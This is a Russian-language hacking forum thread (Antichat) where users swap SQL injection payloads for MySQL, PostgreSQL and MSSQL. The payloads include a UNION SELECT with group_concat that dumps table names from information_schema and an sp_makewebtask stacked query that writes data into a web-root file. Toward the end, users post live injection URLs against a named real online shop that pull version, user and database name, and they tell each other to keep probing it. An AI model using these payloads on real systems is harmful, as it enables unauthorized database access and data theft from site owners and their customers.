ANTICHAT — форум по информационной безопасности, OSINT и технологиям

В моей практике я такого не замечал. возможно вывести все таблицы которые есть в строчку, то есть если тебе выдает по одному столбцу или колонке не обязательно юзать limit а возможно посмотреть вомандой group_concat Пр: =-1+union+select+1,group_concat(unhex(hex(table_name ))),3+from+information_schema.tables--
выведутся все таблицы в строчку через запятульку. так же и с колонками в таблице. Способ упрощает твою задачу во много раз. Удачи

Ghost0ff
это в mysql,а человек спрашивает за mssql.
Тем более, что group_concat() выводит только первую 1000 знаков (или как то так), если не ошибаюсь. Но все таблицы ты не выведешь.

zenon2

LIMIT 1 OFFSET 1

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

а, ступил, это в постгрессе

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands

@SHS
'; EXEC sp_makewebtask 'c:\inetpub\wwwroot\out.htm', "SELECT * FROM information_schema.COLUMNS";--

@zenon2
используй способ, который я привел в ссылке. Имхо более подоходящего не найти

__________________
<? Raz0r.name — блог о web-безопасности

посмотрите плиз
это скуль?

Нет,но это скуля

http://www.mk-computer.ru/news.php?detail=-128+union+select+1,2,3,4,5,concat_ws(0x3a3a,versio n(),user(),database()),7--

да это скуль после order by
_mk-computer.ru/catalog.php?cat=1&sort=cena*(substring(version(),1 ,1)=4)--+

F4R не совсем но тут может быть скуль
попробуй поподбирай поля!
если не подбираються значит ее нету